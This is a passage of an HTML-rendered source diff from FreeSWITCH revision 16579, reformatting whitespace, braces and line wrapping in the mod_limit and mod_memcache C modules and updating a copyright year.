</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 2) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;USAGE: limit_hash %s\n&quot;, LIMITHASH_USAGE);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* If max is omitted or negative, only act as a counter and skip maximum checks */
</span><span class="cx">         if (argc &gt; 2) {
</span><span class="cx">                 if (argv[2][0] == '-') {
</span><span class="cx">                         max = -1;
</span><span class="cx">                 } else {
</span><span class="cx">                         char *szinterval = NULL;
</span><del>-                        if ((szinterval = strchr(argv[2], '/')))
-                        {
</del><ins>+                        if ((szinterval = strchr(argv[2], '/'))) {
</ins><span class="cx">                                 *szinterval++ = '\0';
</span><span class="cx">                                 interval = atoi(szinterval);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         max = atoi(argv[2]);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (max &lt; 0) {
</span><span class="cx">                                 max = 0;
</span><span class="cx">                         }
</span><span class="lines">@@ -1106,11 +1093,11 @@
</span><span class="cx">         } else {
</span><span class="cx">                 xfer_exten = limit_def_xfer_exten;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!do_limit_hash(session, realm, id, max, interval)) {
</span><span class="cx">                 /* Limit exceeded */
</span><span class="cx">                 if (*xfer_exten == '!') {
</span><del>-                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
</del><ins>+                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
</span><span class="cx">                 }
</span><span class="lines">@@ -1137,23 +1124,22 @@
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 5) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;USAGE: limit_hash_execute %s\n&quot;, LIMITHASHEXECUTE_USAGE);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
-        /* Accept '-' as unlimited (act as counter)*/
</del><ins>+
+        /* Accept '-' as unlimited (act as counter) */
</ins><span class="cx">         if (argv[2][0] == '-') {
</span><span class="cx">                 max = -1;
</span><span class="cx">         } else {
</span><span class="cx">                 char *szinterval = NULL;
</span><span class="cx"> 
</span><del>-                if ((szinterval = strchr(argv[2], '/')))
-                {
</del><ins>+                if ((szinterval = strchr(argv[2], '/'))) {
</ins><span class="cx">                         *szinterval++ = '\0';
</span><span class="cx">                         interval = atoi(szinterval);
</span><span class="cx">                 }
</span><span class="lines">@@ -1162,9 +1148,9 @@
</span><span class="cx"> 
</span><span class="cx">                 if (max &lt; 0) {
</span><span class="cx">                         max = 0;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         app = argv[3];
</span><span class="cx">         app_arg = argv[4];
</span><span class="cx"> 
</span><span class="lines">@@ -1191,31 +1177,31 @@
</span><span class="cx">         uint32_t count = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.limit_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(cmd)) {
</span><span class="cx">                 mydata = strdup(cmd);
</span><span class="cx">                 switch_assert(mydata);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 2) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;USAGE: limit_hash_usage %s\n&quot;, LIMIT_HASH_USAGE_USAGE);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hash_key = switch_mprintf(&quot;%s_%s&quot;, argv[0], argv[1]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((item = switch_core_hash_find(globals.limit_hash, hash_key))) {
</span><span class="cx">                 count = item-&gt;total_usage;
</span><del>-        } 
-        
</del><ins>+        }
+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;%d&quot;, count);
</span><del>-        
-end:
</del><ins>+
+  end:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(hash_key);
</span><span class="cx">         switch_mutex_unlock(globals.limit_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1231,11 +1217,10 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (switch_event_reserve_subclass(LIMIT_EVENT_USAGE) != SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldnt register event subclass \&quot;%s\&quot;&quot;, 
-                        LIMIT_EVENT_USAGE);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldnt register event subclass \&quot;%s\&quot;&quot;, LIMIT_EVENT_USAGE);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = do_config() != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="lines">@@ -1248,18 +1233,20 @@
</span><span class="cx"> 
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-                
</del><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;limit&quot;, &quot;Limit&quot;, LIMIT_DESC, limit_function, LIMIT_USAGE, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;limit_execute&quot;, &quot;Limit&quot;, LIMITEXECUTE_USAGE, limit_execute_function, LIMITEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;limit_hash&quot;, &quot;Limit (hash)&quot;, LIMITHASH_DESC, limit_hash_function, LIMITHASH_USAGE, SAF_SUPPORT_NOMEDIA);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;limit_hash_execute&quot;, &quot;Limit (hash)&quot;, LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;limit_hash_execute&quot;, &quot;Limit (hash)&quot;, LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE,
+                                   SAF_SUPPORT_NOMEDIA);
</ins><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;db&quot;, &quot;Insert to the db&quot;, DB_DESC, db_function, DB_USAGE, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, &quot;hash&quot;, &quot;Insert into the hashtable&quot;, HASH_DESC, hash_function, HASH_USAGE, SAF_SUPPORT_NOMEDIA)
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;group&quot;, &quot;Manage a group&quot;, GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
</del><ins>+                SWITCH_ADD_APP(app_interface, &quot;group&quot;, &quot;Manage a group&quot;, GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
</ins><span class="cx"> 
</span><del>-        SWITCH_ADD_API(commands_api_interface, &quot;limit_hash_usage&quot;, &quot;Gets the usage count of a limited resource&quot;, limit_hash_usage_function,  LIMIT_HASH_USAGE_USAGE);
</del><ins>+        SWITCH_ADD_API(commands_api_interface, &quot;limit_hash_usage&quot;, &quot;Gets the usage count of a limited resource&quot;, limit_hash_usage_function,
+                                   LIMIT_HASH_USAGE_USAGE);
</ins><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;limit_usage&quot;, &quot;Gets the usage count of a limited resource&quot;, limit_usage_function, &quot;&lt;realm&gt; &lt;id&gt;&quot;);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, &quot;db&quot;, &quot;db get/set&quot;, db_api_function, &quot;[insert|delete|select]/&lt;realm&gt;/&lt;key&gt;/&lt;value&gt;&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add db insert&quot;);
</span><span class="lines">@@ -1279,13 +1266,13 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown) 
</del><ins>+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown)
</ins><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_free_subclass(LIMIT_EVENT_USAGE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_config_cleanup(config_settings);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_destroy(globals.mutex);
</span><span class="cx">         switch_mutex_destroy(globals.limit_hash_mutex);
</span><span class="cx">         switch_mutex_destroy(globals.db_hash_mutex);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_memcachemod_memcachec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -42,11 +42,8 @@
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_memcache, mod_memcache_load, mod_memcache_shutdown, NULL);
</span><span class="cx"> 
</span><span class="cx"> static char *SYNTAX = &quot;memcache &lt;set|replace|add&gt; &lt;key&gt; &lt;value&gt; [expiration [flags]]\n&quot;
</span><del>-  &quot;memcache &lt;get|getflags&gt; &lt;key&gt;\n&quot;
-  &quot;memcache &lt;delete&gt; &lt;key&gt;\n&quot;
-  &quot;memcache &lt;increment|decrement&gt; &lt;key&gt; [offset [expires [flags]]]\n&quot;
-  &quot;memcache &lt;flush&gt;\n&quot;
-  &quot;memcache &lt;status&gt; [verbose]\n&quot;;
</del><ins>+        &quot;memcache &lt;get|getflags&gt; &lt;key&gt;\n&quot;
+        &quot;memcache &lt;delete&gt; &lt;key&gt;\n&quot; &quot;memcache &lt;increment|decrement&gt; &lt;key&gt; [offset [expires [flags]]]\n&quot; &quot;memcache &lt;flush&gt;\n&quot; &quot;memcache &lt;status&gt; [verbose]\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static struct {
</span><span class="cx">         memcached_st *memcached;
</span><span class="lines">@@ -55,7 +52,8 @@
</span><span class="cx"> 
</span><span class="cx"> static switch_event_node_t *NODE = NULL;
</span><span class="cx"> 
</span><del>-static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed) 
</del><ins>+static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                 switch_bool_t changed)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         memcached_server_st *memcached_server = NULL;
</span><span class="lines">@@ -64,23 +62,23 @@
</span><span class="cx">         const char *memcached_str = NULL;
</span><span class="cx">         memcached_return rc;
</span><span class="cx">         unsigned int servercount;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) &amp;&amp; changed) {
</span><span class="cx">                 memcached_str = newvalue;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* initialize main ptr */
</span><span class="cx">                 memcached_server = memcached_servers_parse(memcached_str);
</span><span class="cx">                 if (!memcached_server) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Unable to initialize memcached data structure (server_list).\n&quot;);
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_GENERR, end);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((servercount = memcached_server_list_count(memcached_server)) == 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;No memcache servers defined.  Server string: %s.\n&quot;, memcached_str);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%u servers defined (%s).\n&quot;, servercount, memcached_str);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* setup memcached */
</span><span class="cx">                 newmemcached = memcached_create(NULL);
</span><span class="cx">                 if (!newmemcached) {
</span><span class="lines">@@ -93,16 +91,16 @@
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_GENERR, end);
</span><span class="cx">                 }
</span><span class="cx">                 /* memcached_behavior_set(newmemcached, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, 1); */
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* swap pointers */
</span><span class="cx">                 oldmemcached = globals.memcached;
</span><span class="cx">                 globals.memcached = newmemcached;
</span><span class="cx">                 newmemcached = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, end);
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         if (memcached_server) {
</span><span class="cx">                 memcached_server_list_free(memcached_server);
</span><span class="cx">         }
</span><span class="lines">@@ -115,12 +113,13 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_xml_config_string_options_t config_opt_memcache_servers = {NULL, 0, NULL}; /* anything ok */
</del><ins>+static switch_xml_config_string_options_t config_opt_memcache_servers = { NULL, 0, NULL };        /* anything ok */
</ins><span class="cx"> 
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name        type                 reloadable   pointer                         default value     options structure */
</span><del>-        SWITCH_CONFIG_ITEM_CALLBACK(&quot;memcache-servers&quot;, SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &amp;globals.memcached_str, &quot;&quot;, config_callback_memcached, &amp;config_opt_memcache_servers,
-                &quot;host,host:port,host&quot;, &quot;List of memcached servers.&quot;),
</del><ins>+        SWITCH_CONFIG_ITEM_CALLBACK(&quot;memcache-servers&quot;, SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &amp;globals.memcached_str, &quot;&quot;,
+                                                                config_callback_memcached, &amp;config_opt_memcache_servers,
+                                                                &quot;host,host:port,host&quot;, &quot;List of memcached servers.&quot;),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -129,8 +128,8 @@
</span><span class="cx">         if (switch_xml_config_parse_module_settings(&quot;memcache.conf&quot;, reload, instructions) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -154,42 +153,42 @@
</span><span class="cx">         time_t expires = 0;
</span><span class="cx">         uint32_t flags = 0;
</span><span class="cx">         unsigned int server_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memcached_return rc;
</span><span class="cx">         memcached_st *memcached = NULL;
</span><span class="cx">         memcached_stat_st *stat = NULL;
</span><span class="cx">         memcached_server_st *server_list;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         mydata = strdup(cmd);
</span><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (argc &lt; 1) {
</span><span class="cx">                         goto usage;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* clone memcached struct so we're thread safe */
</span><span class="cx">                 memcached = memcached_clone(NULL, globals.memcached);
</span><span class="cx">                 if (!memcached) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error cloning memcached object&quot;);
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;-ERR Error cloning memcached object\n&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 subcmd = argv[0];
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((!strcasecmp(subcmd, &quot;set&quot;) || !strcasecmp(subcmd, &quot;replace&quot;) || !strcasecmp(subcmd, &quot;add&quot;)) &amp;&amp; argc &gt; 2) {
</span><span class="cx">                         key = argv[1];
</span><span class="cx">                         val = argv[2];
</span><span class="cx"> 
</span><span class="cx">                         if (argc &gt; 3) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         if (argc &gt; 4) {
</span><span class="cx">                                 flags_str = argv[4];
</span><del>-                                flags = (uint32_t)strtol(flags_str, NULL, 16);
</del><ins>+                                flags = (uint32_t) strtol(flags_str, NULL, 16);
</ins><span class="cx">                         }
</span><span class="cx">                         if (!strcasecmp(subcmd, &quot;set&quot;)) {
</span><span class="cx">                                 rc = memcached_set(memcached, key, strlen(key), val, strlen(val), expires, flags);
</span><span class="lines">@@ -198,7 +197,7 @@
</span><span class="cx">                         } else if (!strcasecmp(subcmd, &quot;add&quot;)) {
</span><span class="cx">                                 rc = memcached_add(memcached, key, strlen(key), val, strlen(val), expires, flags);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -206,10 +205,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 } else if (!strcasecmp(subcmd, &quot;get&quot;) &amp;&amp; argc &gt; 1) {
</span><span class="cx">                         key = argv[1];
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         val = memcached_get(memcached, key, strlen(key), &amp;string_length, &amp;flags, &amp;rc);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><del>-                                stream-&gt;write_function(stream, &quot;%.*s&quot;, (int)string_length, val);
</del><ins>+                                stream-&gt;write_function(stream, &quot;%.*s&quot;, (int) string_length, val);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_safe_free(val);
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
</span><span class="lines">@@ -217,7 +216,7 @@
</span><span class="cx">                         switch_safe_free(val);
</span><span class="cx">                 } else if (!strcasecmp(subcmd, &quot;getflags&quot;) &amp;&amp; argc &gt; 1) {
</span><span class="cx">                         key = argv[1];
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         val = memcached_get(memcached, key, strlen(key), &amp;string_length, &amp;flags, &amp;rc);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;%x&quot;, flags);
</span><span class="lines">@@ -234,20 +233,20 @@
</span><span class="cx">                         key = argv[1];
</span><span class="cx"> 
</span><span class="cx">                         if (argc &gt; 2) {
</span><del>-                                offset = (unsigned int)strtol(argv[2], NULL, 10);
</del><ins>+                                offset = (unsigned int) strtol(argv[2], NULL, 10);
</ins><span class="cx">                                 svalue = argv[2];
</span><span class="cx">                         } else {
</span><span class="cx">                                 svalue = &quot;1&quot;;
</span><span class="cx">                         }
</span><span class="cx">                         if (argc &gt; 3) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         if (argc &gt; 4) {
</span><span class="cx">                                 flags_str = argv[4];
</span><del>-                                flags = (uint32_t)strtol(flags_str, NULL, 16);
</del><ins>+                                flags = (uint32_t) strtol(flags_str, NULL, 16);
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(subcmd, &quot;increment&quot;)) {
</span><span class="cx">                                 increment = SWITCH_TRUE;
</span><span class="cx">                                 rc = memcached_increment(memcached, key, strlen(key), offset, &amp;ivalue);
</span><span class="lines">@@ -259,18 +258,20 @@
</span><span class="cx">                                 /* ok, trying to incr / decr a value that doesn't exist yet.
</span><span class="cx">                                    Try to add an appropriate initial value.  If someone else beat
</span><span class="cx">                                    us to it, then redo incr/decr.  Otherwise we're good.
</span><del>-                                */
</del><ins>+                                 */
</ins><span class="cx">                                 rc = memcached_add(memcached, key, strlen(key), (increment) ? svalue : &quot;0&quot;, strlen(svalue), expires, flags);
</span><span class="cx">                                 if (rc == MEMCACHED_SUCCESS) {
</span><span class="cx">                                         ivalue = (increment) ? offset : 0;
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Initialized inc/dec memcache key: %s to value %d\n&quot;, key, offset);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Initialized inc/dec memcache key: %s to value %d\n&quot;, key,
+                                                                          offset);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         if (increment) {
</span><span class="cx">                                                 rc = memcached_increment(memcached, key, strlen(key), offset, &amp;ivalue);
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 rc = memcached_decrement(memcached, key, strlen(key), offset, &amp;ivalue);
</span><span class="cx">                                         }
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Someone else created incr/dec memcache key, resubmitting inc/dec request.\n&quot;);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                                          &quot;Someone else created incr/dec memcache key, resubmitting inc/dec request.\n&quot;);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="lines">@@ -282,7 +283,7 @@
</span><span class="cx">                         key = argv[1];
</span><span class="cx">                         if (argc &gt; 2) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         rc = memcached_delete(memcached, key, strlen(key), expires);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="lines">@@ -293,7 +294,7 @@
</span><span class="cx">                 } else if (!strcasecmp(subcmd, &quot;flush&quot;)) {
</span><span class="cx">                         if (argc &gt; 1) {
</span><span class="cx">                                 expires_str = argv[3];
</span><del>-                                expires = (time_t)strtol(expires_str, NULL, 10);
</del><ins>+                                expires = (time_t) strtol(expires_str, NULL, 10);
</ins><span class="cx">                         }
</span><span class="cx">                         rc = memcached_flush(memcached, expires);
</span><span class="cx">                         if (rc == MEMCACHED_SUCCESS) {
</span><span class="lines">@@ -310,7 +311,7 @@
</span><span class="cx">                                         verbose = SWITCH_TRUE;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;Lib version: %s\n&quot;, memcached_lib_version());
</span><span class="cx">                         stat = memcached_stat(memcached, NULL, &amp;rc);
</span><span class="cx">                         if (rc != MEMCACHED_SUCCESS &amp;&amp; rc != MEMCACHED_SOME_ERRORS) {
</span><span class="lines">@@ -320,13 +321,14 @@
</span><span class="cx">                         server_count = memcached_server_count(memcached);
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;Servers: %d\n&quot;, server_count);
</span><span class="cx">                         for (x = 0; x &lt; server_count; x++) {
</span><del>-                                stream-&gt;write_function(stream, &quot;  %s (%u)\n&quot;, memcached_server_name(memcached, server_list[x]), memcached_server_port(memcached, server_list[x]));
</del><ins>+                                stream-&gt;write_function(stream, &quot;  %s (%u)\n&quot;, memcached_server_name(memcached, server_list[x]),
+                                                                           memcached_server_port(memcached, server_list[x]));
</ins><span class="cx">                                 if (verbose == SWITCH_TRUE) {
</span><span class="cx">                                         char **list;
</span><span class="cx">                                         char **ptr;
</span><span class="cx">                                         char *value;
</span><span class="cx">                                         memcached_return rc2;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         list = memcached_stat_get_keys(memcached, &amp;stat[x], &amp;rc);
</span><span class="cx">                                         for (ptr = list; *ptr; ptr++) {
</span><span class="cx">                                                 value = memcached_stat_get_value(memcached, &amp;stat[x], *ptr, &amp;rc2);
</span><span class="lines">@@ -343,25 +345,26 @@
</span><span class="cx">         }
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx"> 
</span><del>-mcache_error:
</del><ins>+  mcache_error:
</ins><span class="cx">         if (rc != MEMCACHED_NOTFOUND) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error while running command %s: %s\n&quot;, subcmd, memcached_strerror(memcached, rc));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error while running command %s: %s\n&quot;, subcmd,
+                                                  memcached_strerror(memcached, rc));
</ins><span class="cx">         }
</span><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR %s\n&quot;, memcached_strerror(memcached, rc));
</span><span class="cx">         goto done;
</span><del>-        
-usage:
</del><ins>+
+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR\n%s\n&quot;, SYNTAX);
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-done: 
</del><ins>+
+  done:
</ins><span class="cx">         if (memcached) {
</span><span class="cx">                 memcached_quit(memcached);
</span><span class="cx">                 memcached_free(memcached);
</span><span class="cx">         }
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(stat);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -375,12 +378,12 @@
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx"> 
</span><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &amp;NODE) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind event!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;memcache&quot;, &quot;Memcache API&quot;, memcache_function, &quot;syntax&quot;);
</span><span class="cx"> 
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="lines">@@ -397,9 +400,9 @@
</span><span class="cx">         if (globals.memcached) {
</span><span class="cx">                 memcached_free(globals.memcached);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_unbind(&amp;NODE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_nibblebillmod_nibblebillc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c        2010-02-06 03:38:24 UTC (rev 16579)
